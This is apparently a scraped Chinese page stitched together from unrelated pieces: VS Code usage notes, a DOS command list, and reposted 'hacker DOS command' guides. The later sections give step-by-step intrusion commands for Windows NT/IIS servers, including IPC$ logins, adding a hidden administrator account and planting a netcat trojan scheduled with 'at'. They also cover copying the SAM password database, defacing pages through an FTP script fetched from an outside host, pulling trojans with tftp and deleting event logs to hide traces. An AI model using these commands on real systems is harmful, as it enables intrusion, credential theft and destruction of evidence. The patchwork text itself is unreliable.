task是任務的意思,我們的編譯和運行就是我們想要vscode執行的任務,為此我們要在tasks.json里寫兩個task:Build和Run(這里為什麼不是Compile呢?是因為從源碼到可執行的過程中不僅是編譯(Compile),還有預編譯、鏈接等過程,用構建(Build)來表述更合適)。除了編譯和運行,我們還需要進行調試(Debug),這個就不是通過task來實現的了,而是通過launch.json文件來實現。
運行
方法一:按F5調試運行
方法二,圖形界面
遇到的錯誤
g++ : 無法將「g++」項識別為 cmdlet、函數、腳本文件或可運行程序的名稱。請檢查名稱的拼寫,如果包括路徑,請確保路徑正確,然後再試一次。
解決:
將MinGW配置到環境變數中,注意配置完之後要重啟vscode
檢查MinGW是否配置好:
gcc --version
g++ --version
gdb --version
終端啟動VSCode
打開一個終端,然後運行code命令即可啟動終端。
運行code --help可以列印出VS Code命令行支持的所有參數
打開一個文件夾
在一個新窗口中打開這個文件或文件夾: code 文件夾/文件名
在一個已經打開的窗口來打開文件: code -r 文件夾/文件名
比較兩個文件的內容
比較兩個文件的內容:
code -d 文件a 文件b。
比如:code -r -d a.txt b.txt
其他
VS Code 命令行除了支持打開磁碟上的文件以外,也接受來自管道中的數據。這樣你就可以將原本在命令行中展示的內容,實時地展示在 VS Code 里,然後在編輯器中搜索和修改。比如,你可以把當前目錄下所有的文件名都展示在編輯器里,此時只需使用ls | code -命令。
關閉當前項目
file → close Folder
從資源管理器里調出系統終端
打開和創建一個集成終端:
打開終端的方法:
菜單欄:View–>Terminal
快捷鍵:Ctrl + `,按一下打開,再按一下關閉
命令面板:搜索並執行「切換集成終端」(Toggle Integrated Terminal)
具體效果:
如果還沒有任何集成終端存在,那麼它將創建一個新的,然後顯示出來;
如果已經有幾個集成終端了,那麼就把終端面板調出來;
如果我們的游標就在集成終端里,那麼這個命令會將終端面板隱藏。
若我們希望創建出一個新的終端來,而不是切換終端:
快捷鍵:Ctrl + Shift + `
命令面板:搜索並執行 「新建集成終端」(Create New Intergrated Terminal)
如果我們的電腦屏幕足夠大,或者我們希望在同一界面上看到多個運行的腳本,我們也可以把一個終端面板進行切分。我們只需按下 Cmd + 或者運行 「拆分終端」(Split Terminal),就能夠將當前的終端一分為二;如果再次按下這個快捷鍵,就能夠將當前的面板平均分為三份……
最上面一行是狀態欄:
側邊欄:在默認設置下 VS Code 的左側側邊欄有五個組件,它們分別是:
資源管理器,主要用於瀏覽和管理文件和文件夾。
跨文件搜索,用於在當前文件夾內進行跨文件的搜索。
源代碼管理,用於對當前文件夾下的代碼進行版本管理,默認 VS Code 支持的版本管理軟體是 Git。
啟動和調試,用於對當前文件夾下的項目進行運行和調試。
插件管理,用於下載和管理 VS Code 里的插件。
在側邊欄的最下角還有一個齒輪形狀的按鈕
它提供了一些 VS Code 系統管理常用的快捷鍵,點擊打開後,你可以看到命令面板、設置、鍵盤快捷方式、管理擴展等等一系列快速入口。
界面的最下面一行則是狀態欄:
這個組件的作用就是將當前文件夾、編輯器狀態、代碼版本、代碼錯誤等的簡略訊息呈現給你。除此之外,很多插件也會選擇將信息呈現在狀態欄上。
面板(Panel)
不過「界面概覽」並沒有覆蓋所有的組件,其中一個非常重要的部分就是面板(Panel),你可以在命令面板中執行「切換面板」命令來打開它。
打開後,你會看到面板的四個組件:問題面板、輸出面板、調試控制台和終端。
問題面板(Problems Panel)的作用是展示當前文件夾下代碼里的所有問題和警告,比如你的代碼有語法錯誤、格式問題、拼寫錯誤等
輸出面板(Output Panel)的作用就是將核心命令和插件的運行狀態和結果輸出來,比如你使用 Git 來管理你的代碼版本,你的每個 UI 上的版本操作,你都能在輸出面板里看到這個操作對應的 Git 命令行以及它的運行結果。這樣即使意外發生了, VS Code 無法完成指定的 Git 命令,你依然可以通過閱讀輸出面板找到問題所在,然後自行修復。
調試控制台主要是在調試代碼時使用
終端是開發工作中不可或缺的一個工具,VS Code 則更進一步,把終端直接集成了進來。集成終端的存在,使得 VS Code 保持輕量級成為了可能性。
命令面板
設計目的:是 VS Code 快捷鍵的主要交互界面,這樣不用滑鼠,使得所有的操作都可以通過鍵盤進行
如何打開:Ctrl + Shift + P
打開之後,命令面板的輸入框里已經有一個字元:
如果第一個字元是>(默認) ,當你繼續輸入字元時,VS Code 就會在所有命令里進行搜索。
VS Code 的絕大多數命令都可以在命令面板里搜到
所以熟練使用命令面板,你就可以擺脫滑鼠,完全通過鍵盤操作來完成全部編碼工作。
如果第一個字元是@,那麼就掃描當前文件,提供所有的符號。)
如果第一個字元是?,就可以看到十幾條選項,分別代表著你能在命令面板里使用的不同的功能
>(大於號) ,用於顯示所有的命令。
@ ,用於顯示和跳轉文件中的「符號」(Symbols),在@符號後添加冒號:則可以把符號們按類別歸類。
# 號,用於顯示和跳轉工作區中的「符號」(Symbols)
:(冒號), 用於跳轉到當前文件中的某一行。
如果輸入框里沒有任何的字元時,命令面板提供的功能是訪問最近使用的文件
edt 是 edit(編輯)的縮寫,輸入 edt 和一個空格,命令面板就會顯示所有已經打開的文件;而edt active則只會顯示當前活動組中的文件。
ext 是 extension(插件)的縮寫,輸入 ext 和一個空格,就可以進行插件的管理;ext install 則可以在命令面板中搜索和安裝插件。
task和debug 分別對應於任務和調試功能。
term 是 terminal(終端)的縮寫,你可以用這個命令來創建和管理終端實例。
view 則是用於打開 VS Code 的各個 UI 組件。
下面是一些常用命令的快捷鍵:
Ctrl + P :文件跳轉
Ctrl + Shift + Tab:在所有打開的文件中跳轉
Ctrl + Shift + Tab:跳轉到文件中的符號
Ctrl + G:跳轉到文件中的某一行
如下圖,在輸入框中輸入文號,就能列出所有可用的相關命令
鍵盤操作
自定義快捷鍵
打開鍵盤快捷方式:Ctrl+K ,Ctrl+S
搜索"select to bracket"(選擇括弧內所有內容),雙擊
按下」Cmd + Shift + ]」,回車
刪除快捷鍵
在搜索框內搜索你使用的快捷鍵
通過右鍵選擇刪除該快捷鍵的綁定
針對單詞的游標移動
一個字元一個字元的移動:方向鍵
一個單詞一個單詞的移動:Option(Windows 上是 Ctrl 鍵)和方向鍵
對於代碼塊的游標移動
if、for 語句會使用花括弧將代碼塊包裹起來,可以在{}始末快速跳轉: Cmd + Shift + (Windows 上是 Ctrl + Shift + )
選中文本
把游標到單詞開頭之間的所有字元全部選中:Option(Windows 上是 Ctrl 鍵) + 左方向鍵+ Shift 鍵
將游標到第一行,或者最後一行之間的字元選中:Cmd、Shift 和上下方向鍵
操作一行代碼
刪除一行代碼:「 Cmd + Shift + K 」 (Windows 上是 「Ctrl + Shift + K」)
剪切一行代碼:「 Cmd + x 」 (Windows 上是 「Ctrl + x」)
在當前行的下面開始新一行:「Cmd + Enter」 (Windows 上是 「Ctrl + Enter」)
在當前行的上面開始新一行:「Cmd + Shift + Enter」 (Windows 上是 「Ctrl + Shift + Enter」)
撤銷游標移動
撤銷游標移動:「Cmd + U」(Windows 上是 「Ctrl + U」)
調整字元大小寫
在命名面板里搜索:transf, 來變換字元的大小寫。
代碼格式化
前提:VS Code已經安裝了相關插件。
對整個文檔進行縮進: 「Option + Shift + F」 (Windows 上是 Alt + Shift + F)
對選中代碼進行縮進:「Cmd + K Cmd + F」 (Windows 上是 Ctrl + K Ctrl + F)
將代碼注釋掉:
Cmd + / (Windows 上時 Ctrl + /)
代碼縮進
打開命令面板(快捷鍵「Cmd + Shift + P」),搜索 「reind」,然後使用 「重新縮進行」 將整個文檔的縮進進行調整,但更多時候,你只需要運行 「重新縮進選中行」 來調整部分選中代碼行的縮進。
行排序
無論是你在寫代碼,還是寫 Markdown,你都可以把代碼行按照字母序進行重新排序。不過這個命令比較小眾,VS Code 並沒有給這個命令指定快捷鍵,你可以調出命令面板,然後搜索 「按升序排列行」 或者 「按降序排列行」 命令執行。
合並代碼行
有的時候你可能會為了避免代碼看起來過於冗餘,就會把比較短小的幾行代碼合並到一行裡面去。這時,你只需要按下 「 Ctrl + j 」 (Windows 上未綁定快捷鍵,可以打開命令面板,搜索 」合並行「)就可以了,而不需要不斷地調整游標、刪除換行符。
修改函數或者變數的名字
只需把游標放到函數或者變數名上,然後按下 F2,這樣這個函數或者變數出現的地方就都會被修改。
把一段長代碼抽取出來轉成一個單獨的函數
只需選中那段代碼,點擊黃色的燈泡圖標,然後選擇對應的重構操作即可
要注意的是,並不是每個語言服務都支持重構的操作。如果你選中一段代碼後,但沒有看到那個黃色的燈泡圖標,那麼也就是說你使用的這門語言可能還沒有支持快速重構。
代碼跳轉
跳轉到了 函數的定義處:
將滑鼠移動到foo 上
然後按下 Cmd 鍵,這時候 foo下面出現了一個下劃線。
然後當我們按下滑鼠左鍵,就跳轉到了 函數的定義處。
跳轉到函數定義的位置:F12
跳轉到函數的實現的位置:「Cmd + F12」 (Windows 上是 Ctrl + F12)
找到函數/類在哪裡被引用
將游標移動到函數或者類上面
按下Shift+ F12
文件跳轉
按下 「Cmd + P」 (Windows 上是 Ctrl + P)時,跳出一個搜索框。
搜索你想要的文件
打開
直接打開:「Enter」 鍵
一個新的編輯器窗口中打開: 「Cmd + Enter 」 (Windows 上是 Ctrl + Enter)組合鍵
行跳轉
將游標快速地移動到某一行
按下 「Ctrl + g」,調出行輸入框
這個輸入框的第一個字元就是 「 : 」,在這之後輸入數字
將游標快速移動的某個文件的某一行:
按下 「Cmd + P」
在搜索框輸入: 文件名:指定行,比如 a.txt:3
在一個文件里的符號之間跳轉
按下 「Cmd + Shift + O」 (Windows 上是 Ctrl + Shift + O),就能夠看到當前文件里的所有符號。
使用方向鍵,或者搜索,找到你想要的符號後,按下回車,就能夠立刻跳轉到那個符號的位置。
輸入框里有一個 「@」符號,這時,如果你輸入 「:」,就可以將當前文件的所有符號,進行分類,這樣搜索符號也就更加方便。
在多個文件里的符號之間跳轉
「Cmd + T」 (Windows 上是 Ctrl + T),搜索這些文件里的符號
麵包屑
怎麼打開麵包屑功能:「打開設置」(Open Settings),搜索 「breadcrumbs.enabled」,找到後將它打開。
怎麼用?從左到右,我們能夠看到一層一層文件夾的名字,然後是當前文件名,最後則是游標所在的函數的名字。我們可以通過點擊這個工具欄上的文字,然後進行文件夾、文件或者是函數的跳轉。
」Cmd +F」搜索,按下 Enter 鍵在搜索結果當中快速跳轉
把游標放在編輯器當中
按下 「Cmd + F」 (Windows 上是 Ctrl + F),就能夠快速地調出搜索窗口
調出搜索窗口的時候,編輯器就會把當前游標所在位置的單詞自動填充到搜索框中。與此同時,當前文件里和搜索關鍵詞相同的單詞都會被高亮出來。
我們可以在在搜索框中搜索,然後按下Enter 鍵在搜索結果當中快速跳轉
打開命令面板,搜索「配置用戶代碼片段」(Configure User Snippets)並且執行
這時候我們會看到一個列表,讓我們選擇語言。我們選中JavaScript
選擇完語言後,我們就能看到一個 JSON 文件被打開了,這個文件里的內容,現在都是被注釋掉的。我們可以選中第七行到第十四行,按下 Cmd+ / 取消注釋。
這個就是代碼片段了。
它是一個 JSON 文件,它的根對象下面的所有子節點都是一個單獨的代碼片段,並能夠被我們調用和插入編輯器。
這個代碼片段對象的鍵(key)是這個代碼片段的名字,我們在書寫時只要保證這個名字跟當前文件里的其他代碼片段不沖突就可以了。
下面例子中:
這個代碼片段的名字叫做 Print to console
這個代碼片段對象的值,也就是花括弧里的代碼,必須要包含 「prefix」 前綴和 「body」 內容這兩個屬性。
同時,這個值還可以包含 「description」 描述這個屬性,但這個屬性不是必須的。
「prefix」 的作用是,當我們在編輯器里打出跟 「prefix」 一樣的字元時,我們就能在建議列表裡看到這個代碼片段的選項,然後我們按下 Tab 鍵,就能夠將這個代碼片段的 「body」 裡面的內容插入到編輯器里。如果這個代碼片段有 「description」 這個屬性的話,那麼我們還能夠在建議列表的快速查看窗口裡看到這段 「description」。
{
"Print to console": {
"prefix": "log", "body": [ "console.log('$1');", "$2" ], "description": "Log output to console" } }
此時,我們可以打開一個 JavaScript 文件(還以之前的一段代碼為例),然後輸入 log,你就能夠在建議列表裡看到 Print to console 這個建議。然後再按下回車或者 Tab 鍵,就能夠將這個代碼片段插入編輯器了。
設置顏色主題
(1)打開編輯器
windows/linux:file—>perferences----> color theme
macOS:code —>perferences----> color theme
(2)使用方向鍵上下移動,選擇不同的主題預覽
(3)選擇一個顏色主題,按下enter鍵,馬上生效
設置文件圖標主題
(1)打開編輯器
windows/linux:file—>perferences----> File Icon theme
macOS:code —>perferences---->File Icon theme
(2)使用方向鍵上下移動,選擇不同的主題預覽
(3)選擇一個顏色主題,按下enter鍵,馬上生效
None:禁用文件圖標
首先需要說明的是,VS Code 的各個功能,都是基於當前打開的文件或者文件夾的。該怎麼去理解這個概念呢?
如果你使用過 IDE 的話, 你應該記得在第一次打開 IDE 的時候,它們往往需要你創建一個工程,這個工程會生成一個特殊的工程文件。這個工程文件記載了這個項目有哪些相關的文件、項目的配置、構建腳本等等。這個文件記錄著 IDE 管理工程的元信息,開發團隊也能夠通過共享這個工程文件保證成員工作環境的一致性。但是工程文件對用戶體驗就不太友好了,比如說項目文件可能對 IDE 的版本有所要求,項目文件損壞了 IDE 讀取不了但是我們也不知道如何修復,等等。
VS Code 則選擇了一種相對輕量,而且大家都易於理解的方式,那就是所有的操作都基於文件和文件夾。當你打開一個文件夾,VS Code 的核心功能就會對這個文件夾進行分析,並提供對應的功能。比如,在打開的文件夾下檢測到有 .git 文件,就載入 Git 插件來提供版本管理的功能;或者發現文件夾下有 tsconfig.json ,就會激活 TypeScript 插件提供語言服務。
當你打開一個文件夾之後,你就能在工作台的最左側看到資源管理器。資源管理器將當前文件夾下的文件和子文件夾,以樹形結構的形式呈現出來。每一個文件的前面還會有一個小圖標,用於反映文件的類型。
在資源管理器的最上方,你可以看到一個列表,叫做 「打開的編輯器」。這個很好理解,就是指這裡面列出的都是當前已經被打開的文件。
⑷ 誰有DOS命令的解釋哦.
ATTRIB 文件屬性(顯示或改變屬性)
CHDIR(CD) 改變目錄
CHKDSK 檢查磁碟
CHOICE 提示擊鍵輸入
CLS 清屏幕
COMMAND 重新載入MS-DOS程序
COPY 復制文件
DATE 設置顯示日期
DEBUG 調試程序
DEFRAG 清除磁碟碎片
DEL(ERASE) 刪除文件
DELOLDOS 刪除舊DOS文件
DELTREE 刪除目錄樹分支
DIR 顯示目錄
DISKCOMP 比較軟盤內容
DISKCOPY 復制磁碟
DOS 擴展擴充內存管理
DOSSHELL DOS外層
DRIVPARM 定義驅動器參數
EDIT 編輯器
EMM386 內存管理
ERASE 刪除文件
DBLSPACE 磁碟壓縮
EXPAND 釋放壓縮
FASTHELP 快速求助
FC 文件比較
FDISK 磁碟分區
FIND 搜尋指定字串
FOR 循環執行命令
FORMAT 格式化磁碟
MEM 內存使用情況顯示
MKDIR(MD) 建立子目錄
MSAV 檢查和清除病毒
MSBACKUP 磁碟文件務份
PATH 設置搜索路徑
PAUSE 暫停執行命令
RESTORE 磁碟文件轉儲
RENAME(REN) 文件重新命名
RMDIR(RD) 刪除目錄
SCANDISK 檢查磁碟
SYS 傳送系統文件
TIME 設置顯示時間
TREE 顯示目錄結構
TYPE 顯示文件內容
UNDELETE 恢復被刪除文件
VER 顯示系統版本號
VOL 顯示卷標
VSAFE 病毒檢查
XCOPY 復制組文件
APPEND 補充路徑
BREAK 檢查控制中斷
BUFFERS 設置磁碟緩沖區數
CALL 調用批文件
CHCP 轉換碼頁
COUNTRY 確定國家標准貨幣
CTTY 改變控制台
DEVICE 安裝設備驅動程序
DEVICEHIGH 裝載設備驅動程序
ECHO 命令顯示開關
FASTOPEN 快速載入文件
FCBS 使用文件控制塊
FILES 同時打開文件數
GOTO 轉向分支
GRAPHICS 圖形屏幕列印
HELP 求助
IF 設定條件
INCLUDE 簡化多重配置塊
INSTALL 安裝常駐程序
INTERLNK 計算機互連
INTERSVR 與伺服器互連
KEYB 裝載字元轉換表
LABEL 卷標
LASTDRIVE 置最大驅動器數
LOADFIX 裝入固定內存
LOADHIGH(LH) 高內存程序裝載
MEMMAKER 檢查內存
MENUCOLOR 設置顯示選項
MODE 設置硬體工作方式
MSCDEX 訪問CD驅動器
MSO 檢查系統配置
NLSFUNC 支持各國語言
NUMLOCK 控制NUMLOCK鍵
POWER 節省電能
PRINT 後台列印
PROMPT 改變系統提示
QBASIC 啟動QB
REM 注釋信息
REPLACE 替換文件
SET 設置環境變數
SETUP 安裝DOS6。2文件
SETVER 改變DOS版本表
SHARE 網路文件共享
SHELL 裝載命令處理程序
SMARTDRV 磁碟緩沖
SORT 文件排序
STACKS 支持動態使用的數據線
SUBMENU 菜單項(配置CONFIG。SYS)
SUBST 設置虛擬驅動器
SWITCHES 鍵盤開關
VRIFY 磁碟檢驗
》:建立子目錄命令 MD (內部命令)
功能:在指定盤的指定目錄下建立一個子目錄
格式:MD [盤符][路徑]子目錄名
注意:1。不能建立根目錄與目標目錄下已經存在的目錄
2。預設路徑時則表示在當前目錄下建立
2》:改變當前目錄目錄命令: CD (內部命令)
功能:設置指定盤的當前目錄
格式:CD [盤符][路徑]
注意:CD 表示顯示當前目錄
CD..表示退回到根目錄
CD/ 表示退回到上一級目錄
3》:刪除子目錄命令:RD (內部命令)
功能: 從指定的盤符上刪除子目錄
格式: CD [盤符][路徑]子目錄名
注意:1。要刪除的目錄必須為空目錄,如果不為空目錄,先來到該目錄,用 DEL *.*刪除該目錄下的所有內容
再回到上一級目錄,用RD命令刪除該目錄
2。不能刪除當前目錄與根目錄
4》:列文件目錄命令:DIR (內部命令)
功能:顯示指定盤、指定目錄下所包含的文件與下一級子目錄的有關信息
格式:DIR [盤符][路徑][文件名][/P][/W]
[/P]表示分屏顯示
[/W]表示壓縮顯示
5》:顯示全盤目錄命令:TREE (外部命令)
功能:顯示指定盤的目錄結構
格式:[盤符][路徑]TREE [盤符1][/F]
[/F]表示列出各級子目錄的文件名
6》:設置查找目標命令PATH (內部命令)
功能:設置外部文件的查找目錄
格式: PATH [盤符][路徑][;盤符][路徑]……
注意:1。顯示上次PATH命令設置的查找文件目錄命令用:
PATH
2。刪除上次PATH命令設置的文件查找目錄用:
PATH;
7》:刪除目錄命令:DELTREE
功能:將整個目錄及其子目錄和文件全部刪除
格式:DELLTREE [盤符][路徑]目標文件
注意:全部刪除、不論是否系統、隱藏、還是只讀
黑客常用dos命令(轉)
一般黑客入侵所需要的幾個常用命令
1:NET
只要你擁有某IP的用戶名和密碼,那就用IPC$做連接吧!
這里我們假如你得到的用戶是hbx,密碼是123456。假設對方IP為127.0.0.1
net use \\127.0.0.1\ipc$ "123456" /user:"hbx"
退出的命令是
net use \\127.0.0.1\ipc$ /delte
下面的操作你必須登陸後才可以用.登陸的方法就在上面.
----------------------
下面我們講怎麼創建一個用戶,由於SA的許可權相當於系統的超級用戶.
我們加一個hei的用戶密碼為lovechina
net user hei lovechina /add
只要顯示命令成功,那麼我們可以把他加入Administrator組了.
net localgroup Administrators hei /add
----------------------
這里是講映射對方的C盤,當然其他盤也可以,只要存在就行了.我們這里把對方的C盤映射到本地的Z盤.
net use z:\\127.0.0.1\c$
----------------------
net start telnet
這樣可以打開對方的TELNET服務.
----------------------
這里是將Guest用戶激活,guest是NT的默認用戶,而且無法刪除呢?不知道是否這樣,我的2000就是刪除不了它。
net user guest /active:yes
----------------------
這里是把一個用戶的密碼改掉,我們把guest的密碼改為lovechina,其他用戶也可以的。只要有許可權就行了呀!
net user guest lovechina
net命令果然強大啊!
2:at
一般一個入侵者入侵後都會留下後門,也就是種木馬了,你把木馬傳了上去,怎麼啟動他呢?
那麼需要用AT命令,這里假設你已經登陸了那個伺服器。
你首先要得到對方的時間,
net time \\127.0.0.1
將會返回一個時間,這里假設時間為12:1,現在需要新建一個作業,其ID=1
at \\127.0.0.1 12:3 nc.exe
這里假設了一個木馬,名為NC.EXE,這個東西要在對方伺服器上.
這里介紹一下NC,NC是NETCAT的簡稱,為了方便輸入,一般會被改名.它是一個TELNET服務,埠為99.
等到了12:3就可以連接到對方的99埠.這樣就給對方種下了木馬.
3:telnet
這個命令非常實用,它可以與遠方做連接,不過正常下需要密碼、用戶,不過你給對方種了木馬,直接連到這個木馬打開的埠.
telnet 127.0.0.1 99
這樣就可以連到對方的99埠.那你就可以在對方運行命令了,這個也就是肉雞.
4:FTP
它可以將你的東西傳到對方機子上,你可以去申請個支持FTP上傳的空間,國內多的是,如果真的找不到,我給個www.51.NET,不錯的.當我們申請完後,它會給用戶名,密碼,以及FTP伺服器.
在上傳前需要登陸先,這里我們假設FTP伺服器是www.51.NET,用戶名是HUCJS,密碼是654321
ftp www.51.net
他會要求輸入用戶,成功後會要求輸入密碼.
----------------------
下面先說上傳,假設你需上傳的文件是INDEX.HTM,它位於C:\下,傳到對方D:\
get c:\index.htm d:\
假設你要把對方C盤下的INDEX.HTM,下到你的機子的D盤下
put c:\index.htm d:\
5:
下面我說說怎樣把本地的文件復制到對方硬碟上去,需要建立好IPC$連接才有效。
這里我們把本地C盤下的index.htm復制到127.0.0.1的C盤下
index.htm \\127.0.0.1\c$\index.htm
----------------------
如果你要復制到D盤下把C改為D,就行了!
index.htm \\127.0.0.1\d$\index.htm
----------------------
如果你要把他復制到WINNT目錄里
就要把輸入
index.htm \\127.0.0.1\admin$\index.htm
admin$是winnt
----------------------
要把對方的文件復制過來,順便告訴大家NT的備份的資料庫放在x:\winnt\repair\sam._ sam._是資料庫的文件名
下面就把127.0.0.1的資料庫復制到本地C盤下
\\127.0.0.1\admin$\repair\sam._ c:\
----------------------
6:set
如果你跑進了一部機子,而且想黑他(這思想只能在特別時候才准有),當然他的80埠要開,不然你黑給誰看。這時需要用SET命令!
下面是我得到的結果!我來分析它,只是找主頁在那而已。
COMPUTERNAME=PENTIUMII
ComSpec=D:\WINNT\system32\cmd.exe
CONTENT_LENGTH=0
GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT=*/*
HTTP_ACCEPT_LANGUAGE=zh-cn
HTTP_CONNECTION=Keep-Alive
HTTP_HOST=當前登陸者的IP,這里本來是顯示我的IP,被我刪除了
HTTP_ACCEPT_ENCODING=gzip, deflate
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
NUMBER_OF_PROCESSORS=1
Os2LibPath=D:\WINNT\system32\os2\dll;
OS=Windows_NT
Path=D:\WINNT\system32;D:\WINNT
PATHEXT=.COM;.EXE;.BAT;.CMD
PATH_TRANSLATED=E:\vlroot主頁放在的地址,只要你看到PATH_TRANSLATED=的後面就是主頁的存放地址。這里是E:\vlroot
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 3 Stepping 3, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0303
PROMPT=$P$G
QUERY_STRING=/c+set
REMOTE_ADDR=XX.XX.XX.XX
REMOTE_HOST=XX.XX.XX.XX
REQUEST_METHOD=GET
SCRIPT_NAME=/scripts/..%2f../winnt/system32/cmd.exe
SERVER_NAME=XX.XX.XX.XX
SERVER_PORT=80
SERVER_PORT_SECURE=0
SERVER_PROTOCOL=HTTP/1.1
SERVER_SOFTWARE=Microsoft-IIS/3.0對方使用IIS/3.0
SystemDrive=D:
SystemRoot=D:\WINNT
TZ=GMT-9
USERPROFILE=D:\WINNT\Profiles\Default User
windir=D:\WINNT
粉紅色的那行就是對方主頁存放地址,這里告訴大家一個技巧,很笨的技巧啊,不過只能用這個方法才能100%的找到主頁的名稱,當你DIR這個目錄時,一定會看到很多文件,你可以把所有文件在瀏覽器這樣輸入XX.XX.XX.XX/文件名,這樣只要看到和XX.XX.XX.XX看到的也面一模一樣,那麼這就是主頁的名稱了。
7:nbtstat
如果你掃到一部NT的機子,他的136到139其中一個埠開了的話,就要用這個命令得到用戶了。順便告訴大家這是netbios,得到用戶名後就可以猜猜密碼了。例如比較簡單的密碼,密碼和用戶名一樣的,都試下,不行就暴力破解吧!
現在網上很多NT的機子都開了這些埠的,你可以練習下,我們來分析得到的結果。
命令是
nbtstat -A XX.XX.XX.XX
-A一定要大寫哦。
下面是得到的結果。
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
Registered Registered Registered Registered Registered Registered Registered Reg
istered Registered Registered Registered
MAC Address = 00-E0-29-14-35-BA
PENTIUMII <00> UNIQUE
PENTIUMII <20> UNIQUE
ORAHOTOWN <00> GROUP
ORAHOTOWN <1C> GROUP
ORAHOTOWN <1B> UNIQUE
PENTIUMII <03> UNIQUE
INet~Services <1C> GROUP
IS~PENTIUMII...<00> UNIQUE
ORAHOTOWN <1E> GROUP
ORAHOTOWN <1D> UNIQUE
..__MSBROWSE__.<01> GROUP
粉紅色的就是登陸過這部系統的用戶,可能你不知道怎麼看,大家是不是看到了一竄數字,只要這竄數字是<03>的話,那他前面的就是用戶。
這里的用戶是PENTIUMII。
8:Shutdown
關了對方的NT伺服器的命令
Shutdown \\IP地址 t:20
20秒後將NT自動關閉,三思後才能運行這個命令,這樣對對方造很大的損失,要做個有良心的入侵者呀。
9:DIR
這個命令沒什麼好講,但是卻非常重要,他是查看一目錄里的所有文件、文件夾。
你可以本地試下。
10:echo
著名的漏洞Unicode,這個命令可以簡單的黑一下有這個漏洞的主機。
我們假設我們要把「反獨裁,反一黨制!」寫入index.htm,有2種方法,大家看看有什麼區別。
echo 反獨裁,反一黨制!>index.htm
echo 反獨裁,反一黨制!>>index.htm
第一個的意思是覆蓋index.htm原有的內容,把「反獨裁,反一黨制!」寫進index.htm。
第二個的意思是把「反獨裁,反一黨制!」加到index.htm裡面。
「>>」產生的內容將追加進文件中,「>」則將原文件內容覆蓋。
大家可以本地試下。
可能你會問,這樣簡單黑下有什麼好玩的,其實他可以用來下載主頁到對方的目錄里。
1、首先,我們需要申請一個免費的主頁空間。
2、用echo在可寫目錄下建立如下內容的txt文件:(以chinren伺服器為例。)
open upload.chinaren.com(你的FTP伺服器,申請時你的空間提供商會給你的)
cnhack(你申請時的用戶名)
test(你申請時的密碼)
get index.htm c:\inetpub\wwwroot\index.htm(這里是把你空間上的index.htm下載到對方的c:\inetpub\wwwroot\index.htm)
bye(退出FTP對話,相當在98下的DOS,用EXIT退出DOS)
具體的做法:
輸入 echo open upload.chinaren.com> c:\cnhack.txt
輸入 echo cnhack >> c:\cnhack.txt
輸入 echo 39abs >> c:\cnhack.txt
輸入 echo get index.htm c:\inetpub\wwwroot\index.htm+>>+c:\cnhack.txt
最後輸入 ftp -s:c:\cnhack.txt (利用ftp的-s參數,執行文件里的內容。)
等命令完成時,文件已經下載到你指定的文件里了。
注意:取得文件後,請刪除cnhack.txt。(如果不刪除,很容易會給別人看到你的密碼。)
記得要 del c:\cnhack.txt
11:attrib
這個命令是設置文件屬性的。如果你想黑一個站,而他的主頁的文件屬性設置了只讀,那就很可憐呀,想刪除他也不行,想覆蓋他也不行。倒!不過有這個命令就別怕了。
attrib -r index.htm
這個命令是把index.htm的只讀屬性去掉。
如果把「-」改為「+」則是把這個文件的屬性設置為只讀
----------------------
attrib +r index.htm
這個命令是把index.htm的屬性設置為只讀。
12:del
當你看到這個標題可別倒下啊!現在要離開127.0.0.1了,要刪除日誌,當然要刪除日誌啦!想被捉嗎。呵呵。
NT的日誌有這些
del C:\winnt\system32\logfiles\*.*
del C:\winnt\ssytem32\config\*.evt
del C:\winnt\system32\dtclog\*.*
del C:\winnt\system32\*.log
del C:\winnt\system32\*.txt
del C:\winnt\*.txt
del C:\winnt\*.log
只要刪除這些就可以了。有些系統NT安裝在D盤或其他盤,就要把C改成其他盤。
黑客常用dos命令2
建立一個空連接
命令:net use \\192.168.0.198\ipc$ "" /user:"administrator"
查看遠程主機的共享資源
命令:net view \\ip
查看遠程主機的當前時間
命令: net time \\ip
得到遠程主機的NetBIOS用戶名列表(需要打開自己的NBT)
命令:nbtstat -A ip
刪除連接:
net use \\127.0.0.1\ipc$ /del
映射/刪除遠程共享:
net use z: \\127.0.0.1\c
向遠程主機復制文件:
路徑\文件名 \\IP\共享目錄名,如:
d:\3389.exe \\IP\c$ 即將d盤下的3389.exe復制到對方c盤內
把遠程主機上的文件復制到自己的機器里:
\\127.0.0.1\c$\xinxin.exe c:\
遠程添加計劃任務:
at \\IP 時間 程序名 如:
at \\IP 11:00 3389.exe
1)查看本地主機的共享資源(可以看到本地的默認共享)
net share
2)得到本地主機的用戶列表
net user
3)顯示本地某用戶的帳戶信息
net user 帳戶名
4)顯示本地主機當前啟動的服務
net start
5)啟動/關閉本地服務
net start 服務名
net stop 服務名
6)在本地添加帳戶
net user 帳戶名 密碼 /add
7)激活禁用的用戶
net uesr 帳戶名 /active:yes
8)加入管理員組
net localgroup administrators xuliguo /add
tftp -i 你的IP get **.exe c:\winnt\system32\**.exe
m溢出的對方SHELL後在DOS下上傳木馬
tftp -i 自已的IP get ***.exe
time
at \\對方的IP 時間 ***.exe
DOS命令大全
一)MD——建立子目錄
1.功能:創建新的子目錄
2.類型:內部命令
3.格式:MD[盤符:][路徑名]〈子目錄名〉
4.使用說明:
(1)「盤符」:指定要建立子目錄的磁碟驅動器字母,若省略,則為當前驅動器;
(2)「路徑名」:要建立的子目錄的上級目錄名,若預設則建在當前目錄下。
例:(1)在C盤的根目錄下創建名為FOX的子目錄;(2)在FOX子目錄下再創建USER子目錄。
C:、>MD FOX (在當前驅動器C盤下創建子目錄FOX)
C:、>MD FOX 、USER (在FOX 子目錄下再創建USER子目錄)
(二)CD——改變當前目錄
1.功能:顯示當前目錄
2.類型:內部命令
3.格式:CD[盤符:][路徑名][子目錄名]
4.使用說明:
(1)如果省略路徑和子目錄名則顯示當前目錄;
(2)如採用「CD、」格式,則退回到根目錄;
(3)如採用「CD.。」格式則退回到上一級目錄。
例:(1)進入到USER子目錄;(2)從USER子目錄退回到子目錄;(3)返回到根目錄。
C:、>CD FOX 、USER(進入FOX子目錄下的USER子目錄)
C:、FOX、USER>CD.。 (退回上一級根目錄)
C:、FOX>CD、 (返回到根目錄)
C:、>
